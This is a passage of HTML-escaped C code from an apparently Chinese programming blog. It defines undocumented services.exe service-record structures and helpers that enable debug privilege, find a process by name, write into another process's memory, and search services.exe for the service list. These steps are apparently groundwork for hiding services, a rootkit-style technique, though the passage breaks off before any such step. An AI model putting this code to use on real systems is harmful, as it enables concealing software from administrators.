#000000"&gt;ImagePath;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DWORD&amp;nbsp;Pid;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DWORD&amp;nbsp;NumberOfServices;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&amp;nbsp;&lt;img src="http://www.cnitblog.com/Images/dot.gif"&gt;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;}&amp;nbsp;SC_SERVICE_PROCESS,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;PSC_SERVICE_PROCESS;&lt;br&gt;&lt;br&gt;typedef&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;struct&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;_SC_DEPEND_SERVICE&lt;br&gt;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PSC_DEPEND_SERVICE&amp;nbsp;Next;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DWORD&amp;nbsp;Unknow;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PSC_SERVICE_RECORD&amp;nbsp;Service;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&amp;nbsp;&lt;img src="http://www.cnitblog.com/Images/dot.gif"&gt;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;}&amp;nbsp;SC_DEPEND_SERVICE,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;PSC_DEPEND_SERVICE;&lt;br&gt;&lt;br&gt;typedef&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;struct&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;_SC_SERVICE_RECORD&lt;br&gt;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PSC_SERVICE_RECORD&amp;nbsp;Previous;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PSC_SERVICE_RECORD&amp;nbsp;Next;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WCHAR&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;ServiceName;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WCHAR&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;DisplayName;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DWORD&amp;nbsp;Index;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DWORD&amp;nbsp;Unknow0;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DWORD&amp;nbsp;sErv;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DWORD&amp;nbsp;ControlCount;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DWORD&amp;nbsp;Unknow1;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PSC_SERVICE_PROCESS&amp;nbsp;Process;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SERVICE_STATUS&amp;nbsp;Status;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DWORD&amp;nbsp;StartType;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DWORD&amp;nbsp;ErrorControl;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DWORD&amp;nbsp;TagId;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PSC_DEPEND_SERVICE&amp;nbsp;DependOn;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PSC_DEPEND_SERVICE&amp;nbsp;Depended;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&amp;nbsp;&lt;img src="http://www.cnitblog.com/Images/dot.gif"&gt;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;}&amp;nbsp;SC_SERVICE_RECORD,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;PSC_SERVICE_RECORD;&lt;br&gt;&lt;br&gt;BOOL&amp;nbsp;SetDebugPrivilege()&lt;br&gt;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;BOOL&amp;nbsp;bRet&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;FALSE;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HANDLE&amp;nbsp;hToken&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;NULL;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LUID&amp;nbsp;luid;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TOKEN_PRIVILEGES&amp;nbsp;tp;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(OpenProcessToken(GetCurrentProcess(),&amp;nbsp;TOKEN_ALL_ACCESS,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;hToken)&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LookupPrivilegeValue(NULL,&amp;nbsp;SE_DEBUG_NAME,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;luid))&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tp.PrivilegeCount&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;1&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tp.Privileges[&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;].Luid&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;luid;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tp.Privileges[&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;].Attributes&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;SE_PRIVILEGE_ENABLED;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;bRet&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;AdjustTokenPrivileges(hToken,&amp;nbsp;FALSE,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;tp,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;sizeof&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(TOKEN_PRIVILEGES),&amp;nbsp;NULL,&amp;nbsp;NULL);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(hToken)&amp;nbsp;CloseHandle(hToken);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;bRet;&lt;br&gt;}&lt;br&gt;&lt;br&gt;DWORD&amp;nbsp;GetProcessIdByName(WCHAR&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;Name)&lt;br&gt;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;BOOL&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;bRet&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;FALSE;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HANDLE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;hProcessSnap&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;NULL;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PROCESSENTRY32&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pe32&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;{&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;};&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DWORD&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Pid&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;1&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;hProcessSnap&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(INVALID_HANDLE_VALUE&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;==&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;hProcessSnap)&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;1&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pe32.dwSize&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;sizeof&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(PROCESSENTRY32);&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(Process32First(hProcessSnap,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;pe32))&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;do&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;!&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;_wcsicmp(pe32.szExeFile,&amp;nbsp;Name&amp;nbsp;)&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Pid&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;pe32.th32ProcessID;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;break&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;while&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(Process32Next(hProcessSnap,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;pe32));&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CloseHandle(hProcessSnap);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;Pid;&lt;br&gt;}&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&amp;nbsp;修改内存属性为指定值&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;void&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;ProtectWriteDword(HANDLE&amp;nbsp;hProcess,&amp;nbsp;DWORD&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;Addr,&amp;nbsp;DWORD&amp;nbsp;Value)&lt;br&gt;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MEMORY_BASIC_INFORMATION&amp;nbsp;mbi;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DWORD&amp;nbsp;dwOldProtect,&amp;nbsp;dwWritten;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;VirtualQueryEx(hProcess,&amp;nbsp;Addr,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;mbi,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;sizeof&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(mbi));&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;VirtualProtectEx(hProcess,&amp;nbsp;mbi.BaseAddress,&amp;nbsp;mbi.RegionSize,&amp;nbsp;PAGE_READWRITE,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;mbi.Protect);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WriteProcessMemory(hProcess,&amp;nbsp;Addr,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;Value,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;sizeof&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(DWORD),&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;dwWritten);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;VirtualProtectEx(hProcess,&amp;nbsp;mbi.BaseAddress,&amp;nbsp;mbi.RegionSize,&amp;nbsp;mbi.Protect,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;dwOldProtect);&lt;br&gt;}&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;寻找服务链表&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;PSC_SERVICE_RECORD&amp;nbsp;FindFirstServiceRecord(HANDLE&amp;nbsp;hProcess)&lt;br&gt;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WCHAR&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileName[MAX_PATH&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;+&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;1&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;];&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HANDLE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;hFile,&amp;nbsp;hFileMap;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;UCHAR&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;pMap;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DWORD&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dwSize,&amp;nbsp;dwSizeHigh,&amp;nbsp;i,&amp;nbsp;dwRead;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SC_SERVICE_RECORD&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SvcRd,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;pSvcRd,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;pRet&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;NULL;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;GetSystemDirectory(&amp;nbsp;FileName,&amp;nbsp;MAX_PATH&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;wcscat(&amp;nbsp;FileName,&amp;nbsp;L&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;\Services.exe&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;);&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;hFile&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;CreateFile(FileName,&amp;nbsp;GENERIC_READ,&amp;nbsp;FILE_SHARE_READ,&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;NULL,&amp;nbsp;OPEN_EXISTING,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;NULL);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(INVALID_HANDLE_VALUE&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;==&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;hFile)&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;NULL;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dwSizeHigh&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dwSize&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;GetFileSize(hFile,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;dwSizeHigh);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;hFileMap&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;CreateFileMapping(hFile,&amp;nbsp;NULL,&amp;nbsp;PAGE_READONLY,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;NULL);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(NULL&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;==&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;hFileMap)&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;NULL;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pMap&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(UCHAR&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;)MapViewOfFile(hFileMap,&amp;nbsp;FILE_MAP_READ,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: 